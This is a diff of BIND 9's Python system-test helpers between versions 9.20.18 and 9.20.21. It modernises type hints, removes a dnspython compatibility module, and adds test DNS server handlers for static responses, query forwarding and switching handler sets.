bind9-9.20.21/bin/tests/system/isctest/__main__.py --- bind9-9.20.18/bin/tests/system/isctest/__main__.py 2026-01-09 13:39:28.098972637 +0000 +++ bind9-9.20.21/bin/tests/system/isctest/__main__.py 2026-03-13 22:01:10.633879520 +0000 @@ -14,7 +14,6 @@ from . import log from .vars import ALL, init_vars - if __name__ == "__main__": # use root logger as fallback - we're not interested in proper logs here log.basic.LOGGERS["conftest"] = logging.getLogger() diff -Nru bind9-9.20.18/bin/tests/system/isctest/asyncserver.py bind9-9.20.21/bin/tests/system/isctest/asyncserver.py --- bind9-9.20.18/bin/tests/system/isctest/asyncserver.py 2026-01-09 13:39:28.098972637 +0000 +++ bind9-9.20.21/bin/tests/system/isctest/asyncserver.py 2026-03-13 22:01:10.634879488 +0000 @@ -11,20 +11,9 @@ information regarding copyright ownership. """ +from collections.abc import AsyncGenerator, Callable, Coroutine, Sequence from dataclasses import dataclass, field -from typing import ( - Any, - AsyncGenerator, - Callable, - Coroutine, - Dict, - List, - Optional, - Set, - Tuple, - Union, - cast, -) +from typing import Any, cast import abc import asyncio @@ -52,12 +41,10 @@ import dns.rdatatype import dns.rrset import dns.tsig -import dns.version import dns.zone - _UdpHandler = Callable[ - [bytes, Tuple[str, int], asyncio.DatagramTransport], Coroutine[Any, Any, None] + [bytes, tuple[str, int], asyncio.DatagramTransport], Coroutine[Any, Any, None] ] @@ -75,7 +62,7 @@ self, handler: _UdpHandler, ) -> None: - self._transport: Optional[asyncio.DatagramTransport] = None + self._transport: asyncio.DatagramTransport | None = None self._handler: _UdpHandler = handler def connection_made(self, transport: asyncio.BaseTransport) -> None: @@ -84,7 +71,7 @@ """ self._transport = cast(asyncio.DatagramTransport, transport) - def datagram_received(self, data: bytes, addr: Tuple[str, int]) -> None: + def datagram_received(self, data: bytes, addr: tuple[str, int]) -> None: """ Called by asyncio when a datagram is received. """ @@ -109,11 +96,10 @@ def __init__( self, - udp_handler: Optional[_UdpHandler], - tcp_handler: Optional[_TcpHandler], - pidfile: Optional[str] = None, + udp_handler: _UdpHandler | None, + tcp_handler: _TcpHandler | None, + pidfile: str | None = None, ) -> None: - self._abort_if_on_dnspython_version_less_than_2_0_0() logging.basicConfig( format="%(asctime)s %(levelname)8s %(message)s", level=os.environ.get("ANS_LOG_LEVEL", "INFO").upper(), @@ -134,20 +120,12 @@ logging.info("Setting up IPv4 listener at %s:%d", ipv4_address, port) logging.info("Setting up IPv6 listener at [%s]:%d", ipv6_address, port) - self._ip_addresses: Tuple[str, str] = (ipv4_address, ipv6_address) + self._ip_addresses: tuple[str, str] = (ipv4_address, ipv6_address) self._port: int = port - self._udp_handler: Optional[_UdpHandler] = udp_handler - self._tcp_handler: Optional[_TcpHandler] = tcp_handler - self._pidfile: Optional[str] = pidfile - self._work_done: Optional[asyncio.Future] = None - - @classmethod - def _abort_if_on_dnspython_version_less_than_2_0_0(cls) -> None: - if dns.version.MAJOR < 2: - error = f"Using {cls.__name__} requires dnspython >= 2.0.0; " - error += 'add `pytest.importorskip("dns", minversion="2.0.0")` ' - error += "to the test module to skip this test." - raise RuntimeError(error) + self._udp_handler: _UdpHandler | None = udp_handler + self._tcp_handler: _TcpHandler | None = tcp_handler + self._pidfile: str | None = pidfile + self._work_done: asyncio.Future | None = None def _get_ipv4_address_from_directory_name(self) -> str: containing_directory = pathlib.Path().absolute().stem @@ -195,7 +173,7 @@ loop.set_exception_handler(self._handle_exception) def _handle_exception( - self, _: asyncio.AbstractEventLoop, context: Dict[str, Any] + self, _: asyncio.AbstractEventLoop, context: dict[str, Any] ) -> None: assert self._work_done exception = context.get("exception", RuntimeError(context["message"])) @@ -275,17 +253,16 @@ query: dns.message.Message response: dns.message.Message + socket: Peer peer: Peer protocol: DnsProtocol - zone: Optional[dns.zone.Zone] = field(default=None, init=False) - soa: Optional[dns.rrset.RRset] = field(default=None, init=False) - node: Optional[dns.node.Node] = field(default=None, init=False) - answer: Optional[dns.rdataset.Rdataset] = field(default=None, init=False) - alias: Optional[dns.name.Name] = field(default=None, init=False) - _initialized_response: Optional[dns.message.Message] = field( - default=None, init=False - ) - _initialized_response_with_zone_data: Optional[dns.message.Message] = field( + zone: dns.zone.Zone | None = field(default=None, init=False) + soa: dns.rrset.RRset | None = field(default=None, init=False) + node: dns.node.Node | None = field(default=None, init=False) + answer: dns.rdataset.Rdataset | None = field(default=None, init=False) + alias: dns.name.Name | None = field(default=None, init=False) + _initialized_response: dns.message.Message | None = field(default=None, init=False) + _initialized_response_with_zone_data: dns.message.Message | None = field( default=None, init=False ) @@ -330,7 +307,7 @@ """ @abc.abstractmethod - async def perform(self) -> Optional[Union[dns.message.Message, bytes]]: + async def perform(self) -> dns.message.Message | bytes | None: """ This method is expected to carry out arbitrary actions (e.g. wait for a specific amount of time, modify the answer, etc.) and then return the @@ -353,14 +330,30 @@ """ response: dns.message.Message - authoritative: Optional[bool] = None + authoritative: bool | None = None delay: float = 0.0 + acknowledge_hand_rolled_response: bool = False - async def perform(self) -> Optional[Union[dns.message.Message, bytes]]: + async def perform(self) -> dns.message.Message | bytes | None: """ Yield a potentially delayed response that is a dns.message.Message. """ assert isinstance(self.response, dns.message.Message) + if not ( + _is_asyncserver_response(self.response) + or self.acknowledge_hand_rolled_response + ): + error = "The response you are trying to send was not created using " + error += "AsyncDnsServer's response preparation methods. " + error += "This will break features such as automatic AA flag " + error += "and RCODE handling. If you need a fresh copy of a " + error += "response, use `QueryContext.prepare_new_response` " + error += "instead of `dns.message.make_response`. " + error += "To acknowledge this and proceed anyway, set " + error += "`acknowledge_hand_rolled_response=True` in " + error += "DnsResponseSend's constructor." + raise RuntimeError(error) + if self.authoritative is not None: if self.authoritative: self.response.flags |= dns.flags.AA @@ -387,7 +380,7 @@ response: bytes delay: float = 0.0 - async def perform(self) -> Optional[Union[dns.message.Message, bytes]]: + async def perform(self) -> dns.message.Message | bytes | None: """ Yield a potentially delayed response that is a sequence of bytes. """ @@ -404,7 +397,7 @@ Action which does nothing - as if a packet was dropped. """ - async def perform(self) -> Optional[Union[dns.message.Message, bytes]]: + async def perform(self) -> dns.message.Message | bytes | None: return None @@ -413,17 +406,16 @@ @dataclass -class ResponseDropAndCloseConnection(ResponseAction): +class CloseConnection(ResponseAction): """ - Action which makes the server close the connection after the DNS query is - received by the server (TCP only). + Action which makes the server close the connection (TCP only). The connection may be closed with a delay if requested. """ delay: float = 0.0 - async def perform(self) -> Optional[Union[dns.message.Message, bytes]]: + async def perform(self) -> dns.message.Message | bytes | None: if self.delay > 0: logging.info("Waiting %.1fs before closing TCP connection", self.delay) await asyncio.sleep(self.delay) @@ -505,7 +497,7 @@ client socket, effectively ignoring all incoming connections. """ - _connections: Set[asyncio.StreamWriter] = field(default_factory=set) + _connections: set[asyncio.StreamWriter] = field(default_factory=set) async def handle( self, reader: asyncio.StreamReader, writer: asyncio.StreamWriter, peer: Peer @@ -539,8 +531,8 @@ make the server send an RST segment; this happens when the server closes a client's socket while there is still unread data in that socket's buffer. If closing the connection _after_ the query is read by the server is enough - for a given use case, the ResponseDropAndCloseConnection response handler - should be used instead. + for a given use case, the CloseConnection response handler should be used + instead. """ delay: float = 0.0 @@ -616,14 +608,14 @@ @property @abc.abstractmethod - def qnames(self) -> List[str]: + def qnames(self) -> list[str]: """ A list of QNAMEs handled by this class. """ raise NotImplementedError def __init__(self) -> None: - self._qnames: List[dns.name.Name] = [dns.name.from_text(d) for d in self.qnames] + self._qnames: list[dns.name.Name] = [dns.name.from_text(d) for d in self.qnames] def __str__(self) -> str: return f"{self.__class__.__name__}(QNAMEs: {', '.join(self.qnames)})" @@ -636,6 +628,105 @@ return qctx.qname in self._qnames +class QnameQtypeHandler(QnameHandler): + """ + Handle queries for which both of the following conditions are true: + + - the query's QNAME is present in `self.qnames`, + - the query's QTYPE is present in `self.qtypes`. + """ + + @property + @abc.abstractmethod + def qtypes(self) -> list[dns.rdatatype.RdataType]: + """ + A list of QTYPEs handled by this class. + """ + raise NotImplementedError + + def __init__(self) -> None: + super().__init__() + self._qtypes: list[dns.rdatatype.RdataType] = self.qtypes + + def __str__(self) -> str: + return f"{self.__class__.__name__}(QNAMEs: {', '.join(self.qnames)}; QTYPEs: {', '.join(map(str, self.qtypes))})" + + def match(self, qctx: QueryContext) -> bool: + """ + Handle queries whose QNAME and QTYPE match any of the QNAMEs and + QTYPEs handled by this class. + """ + return qctx.qtype in self._qtypes and super().match(qctx) + + +class StaticResponseHandler(ResponseHandler): + """ + Base class used for deriving custom static response handlers. + + The derived class can specify the RRsets to be included in the answer, + authority, and additional sections of the response, whether to set the AA + bit in the response, and a delay before sending the response. + + The default implementation of `get_responses()` uses these properties to + prepare and yield a single response. + """ + + @property + def rcode(self) -> dns.rcode.Rcode | None: + """ + Optional RCODE to be set in the response. + """ + return None + + @property + def answer(self) -> Sequence[dns.rrset.RRset]: + """ + RRsets to be included in the answer section of the response. + """ + return [] + + @property + def authority(self) -> Sequence[dns.rrset.RRset]: + """ + RRsets to be included in the authority section of the response. + """ + return [] + + @property + def additional(self) -> Sequence[dns.rrset.RRset]: + """ + RRsets to be included in the additional section of the response. + """ + return [] + + @property + def authoritative(self) -> bool | None: + """ + Whether to set the AA bit in the response. + """ + return None + + @property + def delay(self) -> float: + """ + Delay before sending the response. + """ + return 0.0 + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + qctx.prepare_new_response(with_zone_data=False) + qctx.response.answer.extend(self.answer) + qctx.response.authority.extend(self.authority) + qctx.response.additional.extend(self.additional) + if self.rcode is not None: + qctx.response.set_rcode(self.rcode) + yield DnsResponseSend( + qctx.response, authoritative=self.authoritative, delay=self.delay + ) + + class DomainHandler(ResponseHandler): """ Base class used for deriving custom domain handlers. @@ -643,20 +734,28 @@ The derived class must specify a list of `domains` that it wants to handle. Queries for any of these domains (and their subdomains) will then be passed to the `get_response()` method in the derived class. + + The most specific matching domain is stored in the `matched_domain` attribute. """ @property @abc.abstractmethod - def domains(self) -> List[str]: + def domains(self) -> list[str]: """ A list of domain names handled by this class. """ raise NotImplementedError def __init__(self) -> None: - self._domains: List[dns.name.Name] = [ - dns.name.from_text(d) for d in self.domains - ] + self._domains: list[dns.name.Name] = sorted( + [dns.name.from_text(d) for d in self.domains], reverse=True + ) + self._matched_domain: dns.name.Name | None = None + + @property + def matched_domain(self) -> dns.name.Name: + assert self._matched_domain is not None + return self._matched_domain def __str__(self) -> str: return f"{self.__class__.__name__}(domains: {', '.join(self.domains)})" @@ -666,20 +765,124 @@ Handle queries whose QNAME matches any of the domains handled by this class. """ + self._matched_domain = None for domain in self._domains: if qctx.qname.is_subdomain(domain): + self._matched_domain = domain return True return False +class ForwarderHandler(ResponseHandler): + """ + A handler forwarding all received queries to another DNS server with an + optional delay and then relaying the responses back to the original client. + + Queries are currently always forwarded via UDP. + """ + + @property + @abc.abstractmethod + def target(self) -> str: + """ + The address of the DNS server to forward queries to. + """ + raise NotImplementedError + + @property + def port(self) -> int: + """ + The port of the DNS server to forward queries to. + + The default value of 0 causes the same port as the one used by this + server for listening to be used. + """ + return 0 + + @property + def delay(self) -> float: + """ + The number of seconds to wait before forwarding each query. + """ + return 0.0 + + def __str__(self) -> str: + return f"{self.__class__.__name__}(target: {self.target}:{self.port})" + + class ForwarderProtocol(asyncio.DatagramProtocol): + def __init__(self, query: bytes, response: asyncio.Future) -> None: + self._query = query + self._response = response + + def connection_made(self, transport: asyncio.BaseTransport) -> None: + logging.debug("[OUT] %s", self._query.hex()) + cast(asyncio.DatagramTransport, transport).sendto(self._query) + + def datagram_received(self, data: bytes, _: tuple[str, int]) -> None: + logging.debug("[IN] %s", data.hex()) + self._response.set_result(data) + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[ResponseAction, None]: + loop = asyncio.get_running_loop() + response = loop.create_future() + forwarding_target = f"{self.target}:{self.port or qctx.socket.port}" + + if self.delay > 0: + logging.info( + "Waiting %.1fs before forwarding %s query from %s to %s over UDP", + self.delay, + qctx.protocol.name, + qctx.peer, + forwarding_target, + ) + await asyncio.sleep(self.delay) + + logging.info( + "Forwarding %s query from %s to %s over UDP", + qctx.protocol.name, + qctx.peer, + forwarding_target, + ) + + transport, _ = await loop.create_datagram_endpoint( + lambda: self.ForwarderProtocol(qctx.query.to_wire(), response), + local_addr=(qctx.socket.host, 0), + remote_addr=(self.target, self.port or qctx.socket.port), + ) + + try: + await response + finally: + transport.close() + + logging.info( + "Relaying UDP response from %s to %s over %s", + forwarding_target, + qctx.peer, + qctx.protocol.name, + ) + + try: + message = _DnsMessageWithTsigDisabled.from_wire(response.result()) + yield DnsResponseSend(message, acknowledge_hand_rolled_response=True) + except dns.exception.DNSException: + logging.warning( + "Failed to parse response from %s as a DNS message, relaying it as raw bytes", + forwarding_target, + ) + yield BytesResponseSend(response.result()) + + @dataclass class _ZoneTreeNode: """ A node representing a zone with one origin. """ - zone: Optional[dns.zone.Zone] - children: List["_ZoneTreeNode"] = field(default_factory=list) + zone: dns.zone.Zone | None + children: list["_ZoneTreeNode"] = field(default_factory=list) class _ZoneTree: @@ -729,7 +932,7 @@ node_from.children.remove(child) node_to.children.append(child) - def find_best_zone(self, name: dns.name.Name) -> Optional[dns.zone.Zone]: + def find_best_zone(self, name: dns.name.Name) -> dns.zone.Zone | None: """ Return the closest matching zone (if any) for the domain name. """ @@ -747,7 +950,7 @@ """ class _DisableTsigHandling(contextlib.ContextDecorator): - def __init__(self, message: Optional[dns.message.Message] = None) -> None: + def __init__(self, message: dns.message.Message | None = None) -> None: self.original_tsig_sign = dns.tsig.sign self.original_tsig_validate = dns.tsig.validate if message: @@ -759,7 +962,7 @@ from failing on messages initialized with `dns.message.from_wire(keyring=False)`. """ - def sign(*_: Any, **__: Any) -> Tuple[dns.rdata.Rdata, None]: + def sign(*_: Any, **__: Any) -> tuple[dns.rdata.Rdata, None]: assert self.tsig return self.tsig[0], None @@ -802,6 +1005,19 @@ pass +_ASYNCSERVER_RESPONSE_MARKER = "__is_asyncserver_response__" + + +def _make_asyncserver_response(query: dns.message.Message) -> dns.message.Message: + response = dns.message.make_response(query) + setattr(response, _ASYNCSERVER_RESPONSE_MARKER, True) + return response + + +def _is_asyncserver_response(message: dns.message.Message) -> bool: + return getattr(message, _ASYNCSERVER_RESPONSE_MARKER, False) + + class AsyncDnsServer(AsyncServer): """ DNS server which responds to queries based on zone data and/or custom @@ -823,16 +1039,16 @@ /, default_rcode: dns.rcode.Rcode = dns.rcode.REFUSED, default_aa: bool = False, - keyring: Union[ - Dict[dns.name.Name, dns.tsig.Key], None, _NoKeyringType - ] = _NoKeyringType(), + keyring: ( + dict[dns.name.Name, dns.tsig.Key] | None | _NoKeyringType + ) = _NoKeyringType(), acknowledge_manual_dname_handling: bool = False, ) -> None: super().__init__(self._handle_udp, self._handle_tcp, "ans.pid") self._zone_tree: _ZoneTree = _ZoneTree() - self._connection_handler: Optional[ConnectionHandler] = None - self._response_handlers: List[ResponseHandler] = [] + self._connection_handler: ConnectionHandler | None = None + self._response_handlers: list[ResponseHandler] = [] self._default_rcode = default_rcode self._default_aa = default_aa self._keyring = keyring @@ -859,10 +1075,18 @@ else: self._response_handlers.append(handler) - def install_response_handlers(self, handlers: List[ResponseHandler]) -> None: + def install_response_handlers(self, *handlers: ResponseHandler) -> None: for handler in handlers: self.install_response_handler(handler) + def replace_response_handlers(self, *new_handlers: ResponseHandler) -> None: + """ + Uninstall all currently installed handlers and install the provided ones. + """ + logging.info("Uninstalling response handlers: %s", str(self._response_handlers)) + self._response_handlers.clear() + self.install_response_handlers(*new_handlers) + def uninstall_response_handler(self, handler: ResponseHandler) -> None: """ Remove the specified handler from the list of response handlers. @@ -933,11 +1157,13 @@ raise ValueError(error) async def _handle_udp( - self, wire: bytes, addr: Tuple[str, int], transport: asyncio.DatagramTransport + self, wire: bytes, addr: tuple[str, int], transport: asyncio.DatagramTransport ) -> None: logging.debug("Received UDP message: %s", wire.hex()) + socket_info = transport.get_extra_info("sockname") + socket = Peer(socket_info[0], socket_info[1]) peer = Peer(addr[0], addr[1]) - responses = self._handle_query(wire, peer, DnsProtocol.UDP) + responses = self._handle_query(wire, socket, peer, DnsProtocol.UDP) async for response in responses: logging.debug("Sending UDP message: %s", response.hex()) transport.sendto(response, addr) @@ -974,7 +1200,7 @@ async def _read_tcp_query( self, reader: asyncio.StreamReader, peer: Peer - ) -> Optional[bytes]: + ) -> bytes | None: wire_length = await self._read_tcp_query_wire_length(reader, peer) if not wire_length: return None @@ -983,7 +1209,7 @@ async def _read_tcp_query_wire_length( self, reader: asyncio.StreamReader, peer: Peer - ) -> Optional[int]: + ) -> int | None: logging.debug("Receiving TCP message length from %s...", peer) wire_length_bytes = await self._read_tcp_octets(reader, peer, 2) @@ -996,7 +1222,7 @@ async def _read_tcp_query_wire( self, reader: asyncio.StreamReader, peer: Peer, wire_length: int - ) -> Optional[bytes]: + ) -> bytes | None: logging.debug("Receiving TCP message (%d octets) from %s...", wire_length, peer) wire = await self._read_tcp_octets(reader, peer, wire_length) @@ -1009,7 +1235,7 @@ async def _read_tcp_octets( self, reader: asyncio.StreamReader, peer: Peer, expected: int - ) -> Optional[bytes]: + ) -> bytes | None: buffer = b"" while len(buffer) < expected: @@ -1034,39 +1260,39 @@ async def _send_tcp_response( self, writer: asyncio.StreamWriter, peer: Peer, wire: bytes ) -> None: - responses = self._handle_query(wire, peer, DnsProtocol.TCP) + socket_info = writer.get_extra_info("sockname") + socket = Peer(socket_info[0], socket_info[1]) + responses = self._handle_query(wire, socket, peer, DnsProtocol.TCP) async for response in responses: logging.debug("Sending TCP response: %s", response.hex()) writer.write(response) await writer.drain() - def _log_query(self, qctx: QueryContext, peer: Peer, protocol: DnsProtocol) -> None: + def _log_query(self, qctx: QueryContext) -> None: logging.info( - "Received %s/%s/%s (ID=%d) query from %s (%s)", + "Received %s/%s/%s (ID=%d) query from %s on %s (%s)", qctx.qname.to_text(omit_final_dot=True), dns.rdataclass.to_text(qctx.qclass), dns.rdatatype.to_text(qctx.qtype), qctx.query.id, - peer, - protocol.name, + qctx.peer, + qctx.socket, + qctx.protocol.name, ) logging.debug( "\n".join([f"[IN] {l}" for l in [""] + str(qctx.query).splitlines()]) ) def _log_response( - self, - qctx: QueryContext, - response: Optional[Union[dns.message.Message, bytes]], - peer: Peer, - protocol: DnsProtocol, + self, qctx: QueryContext, response: dns.message.Message | bytes | None ) -> None: if not response: logging.info( - "Not sending a response to query (ID=%d) from %s (%s)", + "Not sending a response to query (ID=%d) from %s on %s (%s)", qctx.query.id, - peer, - protocol.name, + qctx.peer, + qctx.socket, + qctx.protocol.name, ) return @@ -1081,7 +1307,7 @@ qtype = "-" logging.info( - "Sending %s/%s/%s (ID=%d) response (%d/%d/%d/%d) to a query (ID=%d) from %s (%s)", + "Sending %s/%s/%s (ID=%d) response (%d/%d/%d/%d) to a query (ID=%d) from %s on %s (%s)", qname, qclass, qtype, @@ -1091,8 +1317,9 @@ len(response.authority), len(response.additional), qctx.query.id, - peer, - protocol.name, + qctx.peer, + qctx.socket, + qctx.protocol.name, ) logging.debug( "\n".join([f"[OUT] {l}" for l in [""] + str(response).splitlines()]) @@ -1100,16 +1327,17 @@ return logging.info( - "Sending response (%d bytes) to a query (ID=%d) from %s (%s)", + "Sending response (%d bytes) to a query (ID=%d) from %s on %s (%s)", len(response), qctx.query.id, - peer, - protocol.name, + qctx.peer, + qctx.socket, + qctx.protocol.name, ) logging.debug("[OUT] %s", response.hex()) async def _handle_query( - self, wire: bytes, peer: Peer, protocol: DnsProtocol + self, wire: bytes, socket: Peer, peer: Peer, protocol: DnsProtocol ) -> AsyncGenerator[bytes, None]: """ Yield wire data to send as a response over the established transport. @@ -1119,12 +1347,12 @@ except dns.exception.DNSException as exc: logging.error("Invalid query from %s (%s): %s", peer, wire.hex(), exc) return - response_stub = dns.message.make_response(query) - qctx = QueryContext(query, response_stub, peer, protocol) - self._log_query(qctx, peer, protocol) + response_stub = _make_asyncserver_response(query) + qctx = QueryContext(query, response_stub, socket, peer, protocol) + self._log_query(qctx) responses = self._prepare_responses(qctx) async for response in responses: - self._log_response(qctx, response, peer, protocol) + self._log_response(qctx, response) if response: if isinstance(response, dns.message.Message): response = response.to_wire(max_size=65535) @@ -1156,7 +1384,7 @@ async def _prepare_responses( self, qctx: QueryContext - ) -> AsyncGenerator[Optional[Union[dns.message.Message, bytes]], None]: + ) -> AsyncGenerator[dns.message.Message | bytes | None, None]: """ Yield response(s) either from response handlers or zone data. """ @@ -1349,10 +1577,10 @@ return dns.name.from_text(self._CONTROL_DOMAIN) @functools.cached_property - def _commands(self) -> Dict[dns.name.Name, "ControlCommand"]: + def _commands(self) -> dict[dns.name.Name, "ControlCommand"]: return {} - def install_control_commands(self, commands: List["ControlCommand"]) -> None: + def install_control_commands(self, *commands: "ControlCommand") -> None: for command in commands: self.install_control_command(command) @@ -1370,7 +1598,7 @@ async def _prepare_responses( self, qctx: QueryContext - ) -> AsyncGenerator[Optional[Union[dns.message.Message, bytes]], None]: + ) -> AsyncGenerator[dns.message.Message | bytes | None, None]: """ Detect and handle control queries, falling back to normal processing for non-control queries. @@ -1383,9 +1611,7 @@ async for response in super()._prepare_responses(qctx): yield response - def _handle_control_command( - self, qctx: QueryContext - ) -> Optional[dns.message.Message]: + def _handle_control_command(self, qctx: QueryContext) -> dns.message.Message | None: """ Detect and handle control queries. @@ -1460,8 +1686,8 @@ @abc.abstractmethod def handle( - self, args: List[str], server: ControllableAsyncDnsServer, qctx: QueryContext - ) -> Optional[str]: + self, args: list[str], server: ControllableAsyncDnsServer, qctx: QueryContext + ) -> str | None: """ This method is expected to carry out arbitrary actions in response to a control query. Note that it is invoked synchronously (it is not a @@ -1499,11 +1725,11 @@ control_subdomain = "send-responses" def __init__(self) -> None: - self._current_handler: Optional[IgnoreAllQueries] = None + self._current_handler: IgnoreAllQueries | None = None def handle( - self, args: List[str], server: ControllableAsyncDnsServer, qctx: QueryContext - ) -> Optional[str]: + self, args: list[str], server: ControllableAsyncDnsServer, qctx: QueryContext + ) -> str | None: if len(args) != 1: logging.error("Invalid %s query %s", self, qctx.qname) qctx.response.set_rcode(dns.rcode.SERVFAIL) @@ -1528,3 +1754,30 @@ logging.error("Unrecognized response sending mode '%s'", mode) qctx.response.set_rcode(dns.rcode.SERVFAIL) return f"unrecognized response sending mode '{mode}'" + + +class SwitchControlCommand(ControlCommand): + """ + Switch the server's response handlers based on the control query. + + A sequence of response handlers is associated with each key. When a + control query is received, the server's response handlers are replaced + with the sequence associated with the key extracted from the control + query. + """ + + control_subdomain = "switch" + + def __init__(self, handler_mapping: dict[str, Sequence[ResponseHandler]]): + self._handler_mapping = handler_mapping + + def handle( + self, args: list[str], server: ControllableAsyncDnsServer, qctx: QueryContext + ) -> str | None: + if len(args) != 1 or args[0] not in self._handler_mapping: + logging.error("Invalid %s query %s", self, qctx.qname) + qctx.response.set_rcode(dns.rcode.SERVFAIL) + return f"invalid query; exactly one of {list(self._handler_mapping.keys())} is expected in QNAME" + + server.replace_response_handlers(*self._handler_mapping[args[0]]) + return f"switched to handler set '{args[0]}'" diff -Nru bind9-9.20.18/bin/tests/system/isctest/check.py bind9-9.20.21/bin/tests/system/isctest/check.py --- bind9-9.20.18/bin/tests/system/isctest/check.py 2026-01-09 13:39:28.098972637 +0000 +++ bind9-9.20.21/bin/tests/system/isctest/check.py 2026-03-13 22:01:10.634879488 +0000 @@ -9,18 +9,21 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. +from typing import cast + import difflib import shutil -from typing import cast, List, Optional + +from dns.edns import EDECode, EDEOption import dns.edns import dns.flags import dns.message import dns.rcode +import dns.rrset import dns.zone import isctest.log -from isctest.compat import dns_rcode, EDECode, EDEOption def rcode(message: dns.message.Message, expected_rcode) -> None: @@ -28,19 +31,19 @@ def noerror(message: dns.message.Message) -> None: - rcode(message, dns_rcode.NOERROR) + rcode(message, dns.rcode.NOERROR) def notimp(message: dns.message.Message) -> None: - rcode(message, dns_rcode.NOTIMP) + rcode(message, dns.rcode.NOTIMP) def refused(message: dns.message.Message) -> None: - rcode(message, dns_rcode.REFUSED) + rcode(message, dns.rcode.REFUSED) def servfail(message: dns.message.Message) -> None: - rcode(message, dns_rcode.SERVFAIL) + rcode(message, dns.rcode.SERVFAIL) def adflag(message: dns.message.Message) -> None: @@ -69,10 +72,10 @@ def _extract_ede_options( message: dns.message.Message, -) -> List[EDEOption]: +) -> list[EDEOption]: """Extract EDE options from the DNS message.""" return cast( - List[EDEOption], + list[EDEOption], [ option for option in message.options @@ -83,22 +86,12 @@ def noede(message: dns.message.Message) -> None: """Check that message contains no EDE option.""" - if not hasattr(dns.edns, "EDECode"): - # dnspython<2.2.0 doesn't support EDE, skip check - return - ede_options = _extract_ede_options(message) assert not ede_options, f"unexpected EDE options {ede_options} in {message}" -def ede( - message: dns.message.Message, code: EDECode, text: Optional[str] = None -) -> None: +def ede(message: dns.message.Message, code: EDECode, text: str | None = None) -> None: """Check if message contains expected EDE code (and its text).""" - if not hasattr(dns.edns, "EDECode"): - # dnspython<2.2.0 doesn't support EDE, skip check - return - msg_opts = _extract_ede_options(message) matching_opts = [opt for opt in msg_opts if opt.code == code] @@ -143,7 +136,7 @@ def rrsets_equal( first_rrset: dns.rrset.RRset, second_rrset: dns.rrset.RRset, - compare_ttl: Optional[bool] = False, + compare_ttl: bool | None = False, ) -> None: """Compare two RRset (optionally including TTL)""" @@ -172,7 +165,7 @@ def zones_equal( first_zone: dns.zone.Zone, second_zone: dns.zone.Zone, - compare_ttl: Optional[bool] = False, + compare_ttl: bool | None = False, ) -> None: """Compare two zones (optionally including TTL)""" @@ -205,7 +198,7 @@ def named_alive(named_proc, resolver_ip): assert named_proc.poll() is None, "named isn't running" msg = isctest.query.create("version.bind", "TXT", "CH") - isctest.query.tcp(msg, resolver_ip, expected_rcode=dns_rcode.NOERROR) + isctest.query.tcp(msg, resolver_ip, expected_rcode=dns.rcode.NOERROR) def notauth(message: dns.message.Message) -> None: diff -Nru bind9-9.20.18/bin/tests/system/isctest/compat.py bind9-9.20.21/bin/tests/system/isctest/compat.py --- bind9-9.20.18/bin/tests/system/isctest/compat.py 2026-01-09 13:39:28.098972637 +0000 +++ bind9-9.20.21/bin/tests/system/isctest/compat.py 1970-01-01 00:00:00.000000000 +0000 @@ -1,70 +0,0 @@ -# Copyright (C) Internet Systems Consortium, Inc. ("ISC") -# -# SPDX-License-Identifier: MPL-2.0 -# -# This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this -# file, you can obtain one at https://mozilla.org/MPL/2.0/. -# -# See the COPYRIGHT file distributed with this work for additional -# information regarding copyright ownership. - -from typing import Any, TYPE_CHECKING - -import dns.edns -import dns.rcode - -# compatiblity with dnspython<2.0.0 -try: - # In dnspython>=2.0.0, dns.rcode.Rcode class is available - # pylint: disable=invalid-name - dns_rcode = dns.rcode.Rcode # type: Any -except AttributeError: - # In dnspython<2.0.0, selected rcodes are available as integers directly - # from dns.rcode - dns_rcode = dns.rcode - - -if TYPE_CHECKING: - EDECode = dns.edns.EDECode - EDEOption = dns.edns.EDEOption -else: - try: # compatiblity with dnspython<2.2.0 - EDECode = dns.edns.EDECode - except AttributeError: - # In dnspython<2.2.0, the dns.edns.EDECode doesn't exist. - # - # The primary use-case is for us to use existing EDECode objects from the - # class, e.g. EDECode.FILTERED. To mimick this behavior, use a string - # factory that just turns the attribute name into a string. - # - # The used compatibility hack doesn't really matter (as long as EDECode.xxx - # doesn't raise exception), as with dnspython versions prior to 2.2.0, any - # EDE checking will be skipped anyway. - class _CompatEDECode: - def __getattr__(self, name: str) -> str: - return name - - EDECode = _CompatEDECode() - try: - EDEOption = dns.edns.EDEOption - except AttributeError: - # In dnspython<2.2.0, the dns.edns.EDEOption doesn't exist, so we stub it to be - # able to use it in type annotations. - class EDEOption: - def __new__(cls, *args, **kwargs): - raise RuntimeError("Using EDEOption requires dnspython>=2.2.0") - - -# pylint: disable=unused-import -try: - from dns.dnssec import DSDigest -except ImportError: # dnspython<2.0.0 - import enum - - class DSDigest(enum.IntEnum): # type: ignore - """DNSSEC Delgation Signer Digest Algorithm""" - - SHA1 = 1 - SHA256 = 2 - SHA384 = 4 diff -Nru bind9-9.20.18/bin/tests/system/isctest/hypothesis/__init__.py bind9-9.20.21/bin/tests/system/isctest/hypothesis/__init__.py --- bind9-9.20.18/bin/tests/system/isctest/hypothesis/__init__.py 2026-01-09 13:39:28.098972637 +0000 +++ bind9-9.20.21/bin/tests/system/isctest/hypothesis/__init__.py 2026-03-13 22:01:10.634879488 +0000 @@ -9,20 +9,9 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -# This ensures we're using a suitable hypothesis version. A newer version is -# required for FIPS-enabled platforms. +from . import settings, strategies -import hashlib - -import pytest - -MIN_HYPOTHESIS_VERSION = None - -if "md5" not in hashlib.algorithms_available: - # FIPS mode is enabled, use hypothesis 4.41.2 which doesn't use md5 - MIN_HYPOTHESIS_VERSION = "4.41.2" - -pytest.importorskip("hypothesis", minversion=MIN_HYPOTHESIS_VERSION) - -from . import settings -from . import strategies +__all__ = [ + "settings", + "strategies", +] diff -Nru bind9-9.20.18/bin/tests/system/isctest/hypothesis/strategies.py bind9-9.20.21/bin/tests/system/isctest/hypothesis/strategies.py --- bind9-9.20.18/bin/tests/system/isctest/hypothesis/strategies.py 2026-01-09 13:39:28.099972663 +0000 +++ bind9-9.20.21/bin/tests/system/isctest/hypothesis/strategies.py 2026-03-13 22:01:10.634879488 +0000 @@ -11,10 +11,10 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding 